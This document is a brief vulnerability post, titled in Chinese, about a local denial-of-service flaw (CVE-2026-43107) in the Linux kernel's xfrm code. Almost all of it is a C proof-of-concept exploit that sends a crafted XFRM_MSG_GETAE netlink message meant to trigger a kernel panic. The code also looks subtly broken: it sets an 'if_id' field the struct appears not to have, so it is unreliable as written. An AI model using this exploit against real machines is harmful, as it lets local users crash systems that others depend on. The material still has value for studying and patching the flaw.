Linux Kernel xfrm本地拒绝服务漏洞(CVE-2026-43107)

/* * Conceptual PoC for CVE-2026-43107 * Triggering the kernel panic via Netlink interaction with xfrm. * Warning: This code is for educational purposes only. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/xfrm.h> #define NETLINK_XFRM 6 int main() { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (fd < 0) { perror("socket"); return 1; } struct sockaddr_nl sa; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; // Buffer to hold the netlink message char buf[1024]; memset(buf, 0, sizeof(buf)); struct nlmsghdr *nh = (struct nlmsghdr *)buf; // Construct a message targeting XFRM_MSG_GETAE // This triggers the vulnerable xfrm_get_ae path nh->nlmsg_type = XFRM_MSG_GETAE; nh->nlmsg_flags = NLM_F_REQUEST; nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_aevent_id)); struct xfrm_aevent_id *ae_id = (struct xfrm_aevent_id *)NLMSG_DATA(nh); // Setting if_id is crucial to trigger the size calculation bug ae_id->if_id = 1; // Set other required fields if necessary to reach the vulnerable code path ae_id->sa_id.family = AF_INET; // Send the malicious payload sendto(fd, buf, nh->nlmsg_len, 0, (struct sockaddr*)&sa, sizeof(sa)); printf("PoC payload sent. If the kernel is vulnerable, a panic may occur.\n"); close(fd); return 0; }